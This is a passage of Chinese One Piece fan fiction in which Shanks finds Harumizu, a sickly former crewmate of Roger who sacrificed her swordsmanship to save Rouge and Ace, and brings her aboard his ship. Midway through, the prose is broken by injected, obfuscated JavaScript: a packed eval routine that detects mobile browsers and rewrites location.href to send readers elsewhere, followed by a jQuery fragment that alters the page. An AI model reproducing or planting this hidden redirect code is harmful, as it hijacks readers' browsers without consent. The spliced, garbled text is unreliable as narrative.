话题的内容自然地转到了艾斯身上,春水看着一大一小两个弟弟,大概猜到香克斯误解了些什么。 ……露出了和被抛弃的小狗一样的神情,那么委屈,那么愤怒,那么不甘心。 这孩子是以为自己和别的男人成家了,所以才不要他了吗? 怎么会呢。 ……她怎么舍得呢,香克斯。 心里又酸又软,她以同样的方式,安抚性地摸了摸香克斯的头。 看他表情暂缓,她这才开口,决定用比较委婉的方式介绍艾斯:“香克斯,这是艾斯——波特卡斯·D·艾斯。” 她还在思忖,该如何暗示香克斯,这孩子是罗杰船长的儿子—— 自从几年前在风车村的酒馆门口听人唾骂“海贼王哥尔·D·罗杰的暴行和罪孽”,艾斯就对这位素未谋面的父亲深恶痛绝,甚至为此和试图开解他的露玖闹过脾气。 直说的话,艾斯会不会介意……? 见她终于主动提起,香克斯按耐不住,已经率先发问了:“那么,这孩子的……父亲呢?” 春水欲言又止,艾斯却满不在乎地抢先回答:“早就死了,在我出生前就死了。” 香克斯扬眉,“喔”了一声。 少年敏锐地察觉到,这个奇奇怪怪的、戴着草帽的陌生男人,在听到答案的那一瞬间,对自己笑了一下。 ……? 混蛋老爹死了,这个人……这个人很高兴吗……? “生命无常,这个消息真让人遗憾。”嘴上说着这样的虚伪的安慰,香克斯的眼睛里却明明白白地写着「那可真是太好了,他走的挺是时候的」。 感觉到了这一点的艾斯:“………哈?” 为什么他突然很火大啊?这男人是不是欠扁啊?! 悄悄在一边听墙角,早就将船长心思看得一清二楚的红发海贼团全员:“………” 已经明白他的下一句是什么了。 ……肯定是想连人家妈妈带孩子一起接手了。 头儿啊…… 拜托你说这种话的时候……倒是把笑容收一收啊…… 香克斯心中确实涌起一阵卑劣却无法控制的狂喜! 死了?太好了!那个不知名的、幸运的混蛋,不在了! 这意味着……意味着…… 他被自己的庆幸吓了一跳,但更多的是如释重负和……一种重新燃起的荒谬的希望。 添了几把柴,那股火越烧越旺了。 香克斯微笑着,目光灼灼地盯住了欲言又止的春水。 “既然这样的话……” 已经深谙海贼「想得到就去抢」的法则,他抓住那只落在自己发顶的手,纤细苍白,体温很低。 他用自己的手覆盖住了她的。 十指交缠,暖烘烘的体温顺着接触的地方紧密相连,下一秒,男人抬起头,毫不犹豫,笑容灿烂地发出邀请: “要不要做我的伙伴,一起去航海啊,春水……姐。” 感觉到误会还在加深,春水的神情越发复杂:“………” “……当然了,艾斯也一起带上。”以为她放不下艾斯,香克斯瞥了那小鬼一眼——现在倒是莫名其妙顺眼了很多,于是追加了一句。 ……女性生育的过程实在太过艰苦,即使能调理好身体,春水也明显不适合再孕育生命了。 那么,他做这孩子的继父也不是不行。 买一送一,正好省事了,他不介意。 血脉这种东西都是狗屁。真的,他完全不介意,绝对会视若己出,好好培养——只要春水答应,怎么样都行。 还没察觉到已经有人在盘算着当自己后爹的艾斯:“啊、唉——唉??!” 比起震惊呆滞得下巴脱臼的艾斯和达旦一家,被邀请的当事人春水,反而露出了个「果然会变成这样」的表情。 “香克斯,听我说……”她任由弟弟以过于黏腻的方式牵住左手,右手安抚性地拍了拍他,试图抚平他的不安。 ——当然,结果就是两只手都被他攥住了。 她抬眼,只得到了男人的一个势在必得的笑脸:“你说啊,我听着呢。” 姐姐,这一次——无论你说什么,我都不可能再放你走了。 ——他的眼睛是这么说的。 13. 命运的剧本一一应验 这场混乱在波特卡斯·D·露玖采购回来后,迎来了戏剧性的转折。 有着一头温暖金色长发的女人自然地接过扑向自己的艾斯,抱在怀里轻声哄着。动作熟稔,目光充满爱怜。 “妈妈在呢,这是怎么了?”她问。 香克斯还紧紧攥着春水的手,闻言一怔:“……妈妈?” “他想带走我和春水姐姐——!”艾斯在香克斯目瞪口呆地注视下控诉着他莫名其妙的行为,“第一次见面就要拐走我们,他是不是妈妈说的那种人贩子?” 露玖的目光迟疑地望了过来。 香克斯哑口无言,看向春水,发现她同样在看着自己,神情是带着点好笑的困扰。 妈妈……春水姐姐? 仿佛一道闪电劈开了迷雾! 他猛地反应过来——那个孩子,不是春水的! 艾斯是眼前这位女士的儿子,春水只是……只是在帮忙照顾?! 巨大的狂喜几乎要将他淹没,瞬间冲走了所有的失落和焦躁。他感觉自己被湿漉漉地捞了起来,重新找到了呼吸。 心脏在胸腔里疯狂地跳动,几乎要撞碎肋骨。 太好了……春水她没有成家!没有孩子!没有幸运的、恶心的混账东西! 她依然是……记忆中的春水姐,只是病了,只是顾虑着什么才没有去找他。 ——她并未属意他人! 而几乎是在香克斯得知真相的那一刻,露玖抱着艾斯,极其精准地捕捉到了他眼神的变化。 那位拥有一双洞察世事的、温柔却锐利的眼睛的女性,只是平静地看了香克斯一眼。只一眼,就读出了他混合着失而复得的庆幸与明晃晃……占有欲的情绪。 那是针对春水的。 露玖安抚地拍了拍艾斯的背,轻轻地笑了。 她明白了。 这个男人,就是春水总提起的宝贝弟弟「香克斯」吧? 露玖突然想起了这些年,偶尔会望着东海的方向出神的春水。 她带着怀念的笑容,讲“那孩子像太阳一样耀眼”、“莽撞但善良真诚”、“不知道他现在长得多高了”、“天底下最好的弟弟”。 当时的自己,只觉得那是姐弟情深,手足义重。 但现在…… 露玖亲眼看到了他看向春水的、半点沾不上清白的眼神——那哪是弟弟看姐姐的眼神? 春水的声音温和,朝她介绍自己的笨蛋弟弟:“露玖姐,他是香克斯。” 小心思在露玖面前无处遁形,香克斯被她看得有些不自在。他自知理亏,老老实实朝她和艾斯道了歉:“抱歉,我……我以为……” 他以为什么? 以为——心爱的姐姐抛下他,嫁人生子了? 露玖没有点破他,只是对香克斯笑了笑:“你好,我是波特卡斯·D·露玖。” 春水平静地补充:“香克斯,露玖姐是……是船长的妻子。” 船长的……? 等等,所以说那个早死的男人、不负责任的爹……是罗杰船长?!! 十年……所以这才是春水姐被留在这里的原因吗? 帮忙照顾船长的妻子和儿子……? 露玖的目光在他的震惊和春水全然不设防的柔软之间转了一圈,最终化作意味深长的笑容:“很高兴认识你,香克斯。” “您……您好!露、露玖夫人!!”面对着最憧憬的船长的妻子,预感到自己闹出了多大的乌龙,香克斯的表情完完全全地写着「天崩地裂」,“我——” 那么艾斯就是船长的……他居然还打算当他的继父来着……?! 露玖被他生动的表情逗笑,将艾斯托付给了他身后有着同款震惊脸的红发海贼团干部们,示意香克斯和春水进屋。 原来这孩子是海贼王的血脉吗?海贼王居然…… “艾斯,你——要不要吃饭后甜点?路!来份甜点!!”“……不要,我刚吃饱。” “你——你喜欢枪吗?叔叔枪法很好哦!想要哪只鸟叔叔都能给你打中哦!!”“……我要鸟干嘛?” 面对着一副“我讨厌你们这群臭海贼人贩子”表情的艾斯,本乡和耶稣布顿时手忙脚乱。最后还是贝克曼看不下去了,薅来了本克·宾治和猛士达。 “给他变个戏法。”其实最擅长哄小孩的副船长平静地做出指示。 果然,小孩子就是小孩子。被默契无比的一人一猴簇拥着,最开始还别别扭扭的艾斯后来竟也笑了起来。 他可比路飞难搞多了,众人齐齐松了一口气。 木屋内,香克斯从震惊中缓过神,喃喃道:“所以这就是你……失踪了十年的原因啊。” 露玖为两人斟上热茶,从她口中,他终于听到了那个被尘封的真相。 十年前,南海的巴苔里拉岛。 那时的春水还是个眼神锐利的剑士。她挡在露玖面前,悍然出刀,出言不逊的海贼们下一秒已然头颅落地。 一片血腥中,有着明亮的黄金瞳的少女,对上了她警惕的目光。 春水轻声开口,声音沙哑:“露玖夫人?您好,我叫春水,是奥罗·杰克逊号的船员。” 露玖的瞳孔猛地收缩,手下意识地护住腹部——一个本能的、保护着与爱人最后牵绊的动作。 春水看到了。 女人静静站在街边,阳光洒在她身上,仿佛穿透了一个虚无的幻影。 她的眼底深处藏着无法动摇的决绝和一种……类似蜡炬即将燃尽成灰的疲惫。 彼时,还不能掌控「织织果实」能力的春水,已经看清了她周身缠绕的「命线」,脆弱得如同风中残烛。 ——无论哪一条「可能性」,都指向了死亡。 这个女人……在无可挽回地走向生命的终点。 她活不长了。 相对的,她腹中象征着新生生命的「命线」却坚韧无比,那是春水无比熟悉的、属于哥尔·D·罗杰「命线」的延续。 是她。 不会错,就是她。罗杰船长的爱人……就是她。 春水将她看到的未来和盘托出:“生下孩子那一刻,您会虚弱而死。” 露玖早有预料,平静地接受了这个结果。 她用尽全部意志,将孕期拖延了远超常人的时间,二十个月……身体几乎油尽灯枯。 结局似乎早已注定,她必死无疑。 ——怎么可能让船长的孩子生来就没有母亲?怎么可能连船长的挚爱妻子都守护不了? “我可以试试。”春水看着露玖,坦白了自己还不成熟的能力,眼神清澈而决绝,“试着改变那个‘必然’的结局。” 改变命运?这怎么可能……而且,代价呢?如果成功了,她会付出什么代价? 春水避开了露玖的问题,只是重复道:“为了您,为了这个孩子,也为了船长……请让我试试。” 「织织果实」的能力使她能看到每个人的「命线」。「命线」缺口象征着宿主的残疾,断裂则意味着死亡。 露玖的「命线」被世界的「规则」和恶意牢牢锁定,所有可能性都通向断裂的终局,几乎没有任何迂回的余地。 春水平静地望着那个终局,想起了族人被她杀死前透露的情报。 ——“「织命手」……编织命线……规则……反噬……果实觉醒……复生。” 足够的意志与对果实能力的控制,就能改写一部分「命线」——大概是这个意思吧? 于是她顶着「规则」的力量,手指翻动,小心翼翼地沿着露玖那根断口漆黑的「命线」,编织出了一根代表「新生」的线。 这是极其消耗心力的过程,她对着星河枯坐了整整一夜,额头渗出了细密的冷汗,脸色以肉眼可见的速度变得灰败。 头痛欲裂,体力耗尽。坚持不下去的时候,她想起了罗杰爽朗的大笑。 二十年前,他救下了一无所有的自己,给予了她的那个名为“家”的归宿,以及一整船的家人。 最后,春水想起了露玖眼中深不见底的悲伤和爱,是对腹中的胎儿,也是对已故的丈夫。 “为了船长……为了这个家还能延续下去……为了还没出世的孩子。” 想着这样的事,她几乎是在燃烧自己。 星河隐没,黎明终至。 新生的「命线」终于被编织成型,微弱却顽强地亮了起来。虽然依旧脆弱,充满了缺口,仿佛稍微用力就会崩断。 但它确确实实地存在着! 她成功了……在露玖注定的「死」之外,追加了一条「生」的可能性。 就在成功的刹那—— “噗——!” 巨大的、来自世界「规则」的反噬,如同无形的巨锤,狠狠砸在春水的「命线」上,迅速砍出了几道缺口。 鲜血猛地从她口中喷出,溅落在衣襟上,触目惊心。 ——她对织织果实的开发太过粗浅,尚不足以应对、或者说……承担这份改变「规则」后的「因果」。 作为代价,她被彻彻底底地剥夺了一部分「可能性」——后来她才知道,被剥夺的是她最珍视的「剑士才能」。 ——赌上她所有拔刀与挥刀的可能,赌上她毋庸置疑、一定会站在武道巅峰「无我不断」的未来。* 从今往后,她与「刀剑」彻底割席。 视野模糊,耳朵轰鸣,全身骨骼被寸寸碾碎,尤其是那双常年握刀的手,清晰地传来脆响,仿佛有什么东西完全地断裂了。 在那一刻,春水想起了濒死的族人,他被自己一刀刺穿胸膛,喉咙里翻滚着血沫。 “你一定、一定会后悔的。”他笑着说,嗓子里有“嗬嗬”的泡沫声,留下了诅咒一样的遗言。 ——代价吗?后悔吗? 春水反而笑了,那双眼眸中流淌着几欲沸腾的金黄色。她再也支撑不住,昏死了过去。 ——这个人,太过小瞧自己了。 当她再次恢复意识时,看到的是抱着婴儿的露玖。 那是一个有着黑色卷发、脸上点缀着雀斑的、生命力异常旺盛的男孩。 他的名字是波特卡斯·D·艾斯。 “你终于醒了。”露玖看着依旧疲惫憔悴,但看着已经比从前更有精神了,“你昏迷了三天,我还以为……” 春水笑了笑,看到了是闻讯赶来的蒙奇·D·卡普。 这位海军英雄定定看着她们,还有不哭不闹要他抱抱的艾斯,最终妥协般叹了口气。 罗杰死前将妻子托付给了他,虽然这与立场相悖,但卡普还是伸出了援手,将她们带到了哥亚王国附近的科尔波山。 在达旦的庇护下,虽然产后十分虚弱,一度濒死,但露玖凭借着对「生」的强大执念,抱着艾斯,颤颤巍巍地、奇迹一般挺了过来。 逆转命运,她确实活下来了。 而春水,一力承担下这份「因果」,也确实付出了极其沉重的代价。 她的身体彻底垮了,从原本的强健有力变得虚弱畏寒,手脚无力,再也无法负重,再也无法……握紧她心爱的刀了。 「格伦」被她束之高阁。 那双被雷利和罗杰称赞过“最适合握刀”的手,如今连提起一桶水都会微微颤抖。 ——曾经眼神雪亮的剑士,如今肩不能提手不能扛,成了个手无缚鸡之力的病人。 但春水看着艾斯,看着露玖重新焕发的母性光彩——她真心觉得,没有比这更划算的交换了。 什么一定会后悔的,说得那么夸张,她还以为会是性命相抵呢……原来只是不能挥刀而已。 比起罗杰船长的恩情,这算得了什么呢? 她们就这样在达旦的小屋里安顿了下来。 露玖的身体损耗很大,春水更是需要长期休养。两个身体都不太好的女人,加上一个嗷嗷待哺的婴儿,日子过得艰难却也……充满了相依为命的温暖。 在这样的环境下,被母亲们的爱和众多「山贼」家人的守护簇拥着,艾斯跌跌撞撞地长大了。 露玖是典型的慈母,对艾斯的教育方式近乎溺爱。她会轻声哄他睡觉,听他撒娇,在他哭泣时抱起他,即使他任性地闹脾气也依着他。 从她的身上,艾斯感受到了无穷无尽的偏爱。 有些时候,他跟着达旦弄得一身伤回来,以为会被责罚时,露玖只笑着问他玩得开不开心,然后耐心地一点点擦去他脸上的污迹,仔细地帮他处理伤口。 她的手很凉,眼神里满是心疼,低声问:“我的艾斯,我的宝贝,是不是很疼?” 在那样软和的眼神里,饶是性格无比倔强无比要强的艾斯,也忍不住示了弱,轻声嘟囔道:“有……有一点啦,就一点点。” 他想,妈妈是他的世界里,最柔软也是最温暖的颜色,她是他最爱的人。 作为养母的达旦又是另一个画风了。强硬又暴躁,她是这个家的支柱,关心也总是包裹在凶巴巴的硬壳里。 “臭小鬼!一大清早就吵死人了!能不能消停点!” “早饭还没好吗?春水!露玖!在外面吹什么风?还不赶紧进来!” “吃这么少!像我虐待你们似的!把这些都吃了!” 她粗鲁地把最大块的肉推到她们面前,一边骂艾斯是个“麻烦精”,一边在他被欺负时,第一个抄起棍子,像护崽的母熊般冲出去。 她会骂骂咧咧地给艾斯换尿布,会在他调皮捣蛋时,举着狼牙棒追得他满山跑。 某种程度上讲,艾斯那野草般顽强的生命力和打架的本事,多半都是从她这里学来的。 至于春水……比起养母,艾斯更倾向于喊她姐姐。 她的身体太虚弱了,和自己一样需要人照顾。能在外面自由活动也是这两年的事,之前的她只能呆在屋子里,一阵冷风都会让她烧上几天几夜。 虽然病恹恹的,但姐姐总有着敏锐的直觉,仿佛能未卜先知——很久以后,艾斯才知道那是被称为见闻色霸气的能力。 她能“看到”艾斯跑向的某个方向有毒蛇和蜂窝,或者他爬的某棵树枝桠即将断裂,及时提醒他,避开了很多危险。 似乎有感于春水的强大,艾斯是很依赖她的,直到无意间得知她曾经是父亲的伙伴,也是一个海贼。 被酒馆针对罗杰的流言刺伤,他像只炸了毛的刺猬,推开了母亲与达旦,愤怒地质问春水:“那种开启了「大航海时代」,引诱无数海贼犯下罪行的男人,究竟是凭什么能被称为「王」啊!你为什么要追随那种男人啊?!” “他们……他们说,我的血脉,是罪恶的、不该被延续的血脉。” 春水只是静静地看着他。等他稍微平静一点,她才用充满怀念的语气,给他讲述了大海的故事——与杀戮无关,那只是一个又一个充满着「浪漫」与「梦想」的冒险。 他们乘上了鲤鱼群,翻越了颠倒山,乘着上升海流冲上云霄,看到了空岛上的黄金乡,抵达过神秘的海底鱼人岛,在月光下听着人鱼动人的吟唱。 艾斯愣愣地听着,怒火冷却了下来,慢慢转变成了好奇。 “我的父亲……是个什么样的人?”终于有一天,他闷闷地问。 春水沉默了片刻,目光投向远方的星辰。 “你的父亲,罗杰船长,”她的声音很轻很温柔,“是一个能够倾听万物声音的人。他拥有着让我们心甘情愿追随的魅力,也有着……宁愿独自背负整个世界的罪孽,也要去实现梦想的觉悟。” “他深爱着你的母亲。艾斯,你的出生,是他生命终结前最珍贵的希望。” 不是世人口中的恶魔,甚至不算一个海贼,他只是一个「冒险家」。 ——她轻声告诉他,他的出生,是承载着爱与希望的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493582|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我以后也要出海!” 沉迷于一个个冒险故事,惊叹于世界的广阔,艾斯这么说着,眼睛亮晶晶地望向姐姐。 不知为何,他本能地觉得,看起来最无害的春水姐,实际上才是埋藏着无数秘密,最「恐怖」的那个人。 “到时候要和我一起出海吗!姐姐!” 闻言,春水摸了摸他被阳光晒得暖烘烘的黑发,笑着应允:“好啊,小船长。” 她将后半句低语,无声地藏在了心底: “——如果到那时,我还活着的话。” 她的身体时好时坏,在彻底掌握「织命手」的进阶能力以前,反噬总会不定期地发作。 生怕吓到这群家人,她每次都会把自己关在房间里,努力咬牙咽下痛嚎,不发出一点声音。 每到此时,露玖总是默默地守在她门口,小小的艾斯也变得安静异常,小心翼翼地听着她急促又虚弱的呼吸声。 “妈妈,春水姐姐的病什么时候能好啊?”他问。 露玖沉默地摇了摇头。 她想,这个问题,恐怕春水本人也不知道答案吧? “……你会后悔吗?”有几个深夜,她疼惜地摸了摸少女的头发,她痛得蜷缩成一团,全身都在发抖。 露玖至今还记得,初见她时那漂亮的一刀。 如果不是为了救她……如果不是为了艾斯……她现在应该还在海上,享受着自由的冒险与狂风吧。 春水,再也无法握刀,你真的不后悔吗? “当……然……不。”春水虚弱地对露玖笑了笑。 她想起了年少时的自己曾叉着腰,对罗杰船长认真许下的承诺:“船长!总有一天,我一定要成为能帮上你的人!!” ……这有什么好后悔的呢?她做到了啊。 多好啊。 窗外的东海,平静而温柔。山林里的日子,缓慢而充实。 香克斯皱着眉听完了这个漫长而凶险的故事。露玖隐去了太多细节——那些呕血的夜晚,那些无力起身的清晨,那些从强者沦为病人的日日夜夜。 ……他就知道,她是有苦衷的。 笨蛋,真是个逞强的笨蛋。 心疼的情绪在这一刻彻底取代了十年等待无果的气闷。他带着明明白白的疼惜,再次用力抓住了春水的手。 “伟大航路有很多神奇的药和医生。”他带着点诱哄,晃了晃她的手,“我们的船医本乡医术尤为精湛。要和我一起走吗?春水姐。” 如果她拒绝自己…… 此刻,香克斯在认真地考虑打晕并强行带走她的可能性,发现成功率是百分之一百后攥的更紧了。 春水哪看的懂这些,她微微动了动手指,没有挣脱。 十年了,寒意如同附骨之蛆,攀爬上每一根血管,她早习惯了。 可现在……弟弟炽热的温度传了过来,她的指尖无意识地蜷缩,被他的体温烫到了。 ——「香克斯……好暖和。」 她真的没办法拒绝这孩子,从小时候开始,就是如此。 但是—— 不行。 露玖姐的身体……还有艾斯——艾斯还没长大。 春水沉默着,目光落在了露玖和在门口探头探脑的达旦身上,艾斯被贝克曼举过头顶,笑着望过来,双眼发亮。 “姐姐!”他笑着喊。 她叹了一口气,缓缓地将自己的手从温暖中抽离。 “航海啊……听起来很久远了,好怀念啊。”盯着自己血管分明的手,她摇了摇头,“我已经……握不住刀了,香克斯。现在的我无法战斗,只会成为你们的拖累。” 她的语气云淡风轻,却像一根针,重重刺中了香克斯。 他想起记忆里持刀而立,眼神雪亮的姐姐,又看了看现在苍白羸弱的她。胸腔里那股火焰从未熄灭,反倒越烧越旺。 ——早就说过了吧?这一次,他绝不会再放手。 “拖累?”香克斯咧嘴笑起来,那是不容置疑的自信,“别开玩笑了。伙伴的意义,远不止于此,这不是小时候你教我的吗?” “就算无法挥刀又怎样?就算没法战斗又怎样?” 他指了指自己的船员,带着海贼特有的、近乎蛮横的乐观。 “我的船上有厨师,有音乐家,有狙击手,有船医……你也一定能找到你的位置。” 他的眼神很认真:“春水……姐,你真的不认为,大海的风比这里的药更管用吗?你真的甘心余生都困在山里吗?” ——“你……真的不想和我一起去冒险吗?” 春水安静地望着这个十年前还只会跟在自己身后,嚷嚷着要学剑术的小男孩,如今成为了能轻易点燃他人希望的男人。 他和罗杰船长一样,有些能让人心甘情愿追随的魅力。 她清晰地听到了自己被「一起冒险」触动得鼓噪无比的灵魂。 露玖笑了笑,加了一把柴:“去吧。艾斯有我们照顾,你不用担心。” “你为我们做的已经够多了,是时候为自己想一想了。”她拍了拍春水的脑袋,用上了哄孩子的语调,“春水……他在的话,也一定希望看到你健健康康、充满活力的样子。” 达旦也粗声粗气地附和:“在哪儿治病不是治?跟着你那弟弟出去闯闯,说不定还能好得快些!” 「“女船员!真的要有女船员了吗!”」 「“看她和头儿肯定很好玩!”」 「“是啊,有不少乐子可以看了哈哈我已经开始期待了。”」 「“海贼王的船员啊……那个见闻色怪有意思的。”」 「“她应该能管管头儿的任性吧……?”」 虽然除了专心哄小孩的贝克曼,红发海贼团的干部们都憋着没吭声,但那一双双高高支棱起来的耳朵和热切投来的目光,是这么说的。 春水看着那些陌生的、带着善意的笑脸,目光回到了香克斯身上。他正期待地望着自己,一副“我有的是办法带走你”的模样。 怎么?她不答应,他还要来硬的不成吗? 她被这个笨蛋弟弟逗笑了。 算了。 ——反正早就看到这个结果了,如今也只是按照命运的剧本,一步一步应验罢了。 他头上的那顶草帽,承载着罗杰船长未实现的梦想。春水记起了纽盖特先生的指点——关于果实觉醒的可能。 嘴角的笑容一点、一点的落下了,她再次轻声朝着最爱的弟弟道歉: 对不起啊,香克斯。 请原谅我的任性吧——都是姐姐的错。 香克斯……我啊,如果能觉醒果实,我说不定真的可以…… 命运的齿轮“喀哧喀哧”地转动不休。 怀揣不切合实际的期冀,还有自己也说不出的、那股被重新点燃的对冒险的渴望,春水终于不再反抗。任由命运的洪流滚滚而来,将他们吞噬殆尽。 “好吧。”她松口,带着一种尘埃落定的平静和认命,“你要做好心理准备,现在的我会是个大麻烦……船长。” 这一声“船长”,让紧绷着神经随时准备出手的香克斯松了一口气。 狂喜汹涌而来,他咧开了一个大大的笑容,将她紧紧地、紧紧地抱住了。 “麻烦什么的,以后不许再说这样的话了,春水!” 怀抱着心上人,他努力按耐住想做些更亲昵、更过分的事的糟糕念头,努力控制着自己的声音,让它听起来像是个过于激动的弟弟……此刻应该发出的声音。 “春水,来认识认识我们的伙伴吧?” 拥抱,一触即离。 他咬牙克制住更进一步的想法,松开了她,半揽着她走向神色各异的伙伴们。 姐姐,春水姐……春水。 再耐心一点,香克斯,不能吓到她,他们的一切……才刚刚开始。 14. 抱歉啊春水 出于继承罗杰船长的意志,寻找某个果实的目的,雷德·福斯号并未急于驶向伟大航路。 他们决定在东海风车村附近海域巡航、驻扎,搜寻情报的同时,积蓄力量,提升实力,为后续的冒险做足准备。 这让十年没再接触航海的春水有了充分的时间适应这艘船和她这群新的伙伴。还能在未来一年里时常回到科尔波山,探望她牵挂的艾斯、露玖和达旦一家。 她觉得这样很好。 跟着伙伴们短暂停留在风车村补给时,她认识了那个很得香克斯偏爱的、小太阳般充满活力的孩子——蒙奇·D·路飞。 这孩子对她这个笨蛋弟弟有着近乎盲目的崇拜,总是缠着他要当海贼,要他带自己一起去海上。 “你还是个小鬼呢,路飞。”香克斯毫无船长架子,和小孩子闹作一团,得意地吐着舌头,成功惹恼了小路飞。 “香!克!斯——!!” 见小家伙真生气了,这人又变戏法似的递过来一杯冰镇橙汁,又立刻哄的小路飞眉开眼笑。 “呀!橙汁!谢谢!” “哈哈都说了是小鬼了!!真好哄哈哈哈!!” “啊啊啊——你!!!” 伙伴们纷纷被这一幕逗笑,春水捧着玛琪诺递来的温水,看着被众人环绕的香克斯和路飞。 这两个孩子好像啊。 只是……路飞的姓氏与卡普先生相同,身份不言而喻。 亲眼见证过卡普先生一记「拳骨」轰碎了一座岛屿,追得罗杰船长满地跑,她的思维不由得发散开了。 ……如果香克斯真的把这孩子“拐”上了海贼之路……那位海军英雄的铁拳恐怕下一刻就会从天而降,把雷德·福斯号轰个粉碎吧? 她已经预见到那一幕了……真恐怖啊,卡普先生。 她被想象中的画面逗笑,恰在此时,香克斯也大笑着望向她。 两人的目光在空中交汇,他眼睛亮晶晶地凑了过来,低声问:“春水,你说艾斯和路飞能玩到一块儿去吗?” 他看得出来,虽然有着对冒险的好奇,但路飞黏着他们的原因大部分还是因为寂寞。 他没有同龄的玩伴,父母的情况……比较复杂,爷爷又常年奔波。这孩子的内心深处,是渴望“朋友”的。 就连艾斯那种性格独立的小孩都有个叫「萨博」的朋友呢。 香克斯是在担心,一年后他们离开了东海,小路飞会觉得寂寞吧? 春水摸了摸弟弟的头,用电话虫联系了露玖。她时不时下山采买些物资,与玛琪诺和村长都很熟悉,也听他们讲过路飞的故事。 卡普先生于她们有恩,替他照顾孙子这种小事自然不在话下。征得了他的同意后,露玖笑着将小路飞领回了科尔波山的「达旦一家」。 这孩子身上有种天然的真诚与直率,仿佛能融化一切隔阂,十分讨人喜欢。 他很快与艾斯、萨博熟络起来。如同找到了缺失的拼图,迅速成了形影不离的三兄弟,挥着写有名字缩写的“ASL”大旗,又是掏鸟窝又是追鳄鱼,在达旦的怒吼声里上蹿下跳。 虽然要和姐姐告别让艾斯难过了好几天,但多了个要照顾的弟弟,他很快打起精神来,一脸得意地摆出了一副靠谱的哥哥样。 春水站在船舷边,与用力挥手的三个孩子告别。她看着艾斯明亮的笑容,心中的大石坠地,慢慢笑了起来。 雷德·福斯号启程了。香克斯定定地看着那个笑脸,为她披上了自己的外套,声音放得很轻:“我们还会再回来的。” 春水被他的体温笼罩住,手也被他捂的很热,她心里一暖,应了一声。 “香克斯……还是这么暖和呢。”她将脸缩在披风的领口里,看着弟弟,笑着夸奖他。 比火焰更明亮的发色,总是能烫到她的体温,连瞳孔都是炭火的颜色。仅仅是被他握着手,全身就已经被暖得熏熏然了。 “是吗?”香克斯盯着她那张总算有了点血色的脸,意味不明地笑了笑,“春水,起风了。靠近一点,我帮你挡住。” 虽然困惑于他为什么不叫自己“姐姐”了,春水还是依言照做了。 肩膀挨着肩膀,被他暖腾腾的热气包围,她发现自己有点困了。 “困了就睡一会儿。下一个岛要三天后才能到,你想睡多久都行。”头顶传来了男人带着笑意的声音,他将她的头按在了自己的肩膀上,顺手按了按她的太阳穴。 力道温和,不轻不重。 ……变得会照顾人了啊,香克斯这孩子。 迷迷糊糊的睡意涌了上来,春水说了声“好”,在海风里闭上了眼睛。 阔别大海十多年,再次踏上甲板,却不再是那艘承载着梦想与奇迹的奥罗·杰克逊号,身边的伙伴们也截然不同。 她嗅着海风咸湿的气味,亲身感受着船身随着波浪摇晃的节奏,还有不远处的船员们笑闹的声音。 龙骨破开风浪,海贼旗猎猎飞扬。 ——自从四岁被罗杰船长从废墟中抱起,她一直在甲板上长大。 大海才是她的摇篮,那艘船才是她真正的家。 “麻烦你了,香克斯。”春水闭着眼,将额头贴在了弟弟的颈侧,声音被困意熏的含糊,“谢谢你还记得我,谢谢你……愿意邀请我上船。姐姐也很想你,真的……真的很想你。” 是错觉吗? 颈下的脉搏突然跳得很快很快,快得像是按耐不住即将破笼而出的猛兽。 香克斯没出声。 他沉默了。 过了几个呼吸,或者是更长的时间,在她疑惑地想睁眼看看弟弟此时的表情时,滚烫的大手遮住了她的眼睛。 她听见了喉结滚动的声音,一下又一下,过了好一会儿,香克斯终于回应了她。 “……说了不许再这么说自己了,春水。我从来不觉得这是麻烦,照、顾、你多久我都愿意。” 他的嗓子很哑,带着点胡茬的下巴蹭了蹭她的发顶,声音轻得像是怕惊扰了一场幻梦。 ——照顾你那种事,哪怕是一辈子,我都求之不得啊,笨蛋。 他还想说什么,但感受着掌下细密柔软的睫毛,到底还是咽下了那些话。 被弟弟哄得浑身熨帖,春水笑了:“那以后就拜托你了。” 脉搏越来越快了,大概是错觉吧? 她想着,就着熟悉的海风,在香克斯近乎环抱的姿势里,昏昏沉沉地睡了过去。 她睡得很沉,自然感受不到发间被好弟弟落下的一个吻,也看不到他因为自己一句“我很想你”而迅速扩大的暗火。 他想,现在还不急,这些话……他有的是时间慢慢听她讲。 确定春水睡熟了,香克斯打横抱起她,轻手轻脚地将她送回了房间——那是船上最平稳、通风最好且能避风的舱室,紧邻着自己的船长室。 四处都铺着厚实柔软的毛毯,床边还有个暖炉,以驱散海上夜晚的寒凉。 他小心地给她掖了掖被角,去厨房嘱托拉基·路专门准备些易于消化又营养均衡的药膳,转身又接过了本乡递来的医疗报告,眉头随之紧锁。 “核心肌群功能严重受损,持续低体温,静息心率过快。”本乡语气严肃,带着医者的专业审视,“康复周期以年为单位。按东海的医疗水平,头儿,你带她出海是对的。” 知道她的身体糟,没想到……糟到了这个地步。 看着是握力测试那一栏刺眼的数字,香克斯头疼地揉了揉眉心。 ——翻遍了恶魔果实图鉴也没有找到类似的能力,她那个「织织果实」究竟是……? 春水倒是对香克斯的担忧没什么概念。 她上船后的生活很规律,大部分时间都待在阳光充足的甲板上,裹着香克斯塞过来的兽皮毯子,安静地看着大海或者手里的书,有时也会笑着望向嬉闹或者训练的船员们。 剥离了「姐姐」的身份,她其实是个寡言少语的人。 比起主动与人交流,她更擅长安静的倾听,只有弟弟在身边时会放软神色,多给出些回应。 在红发海贼团的成员们眼里,这位新伙伴就像件易碎的瓷器,太过苍白了,与海贼船格格不入。她的存在,让这群习惯了喧哗与汗水的男人们感到了些许无所适从的拘谨。 有点怕吵到她啊……她看着不太像喜欢宴会或者热闹的人。 ……要不还是离远一点吧? 这种静默的疏离持续了几天,香克斯早察觉到了,却不急着行动。 他找了个风平浪静的午后,像小时候那样,自然地靠坐在春水的躺椅边,与她聊起了奥罗·杰克逊号上的旧事。 “说起来。”他喝了口酒,语气随意,“巴基那家伙,现在也不知道怎么样了。” ……巴基。 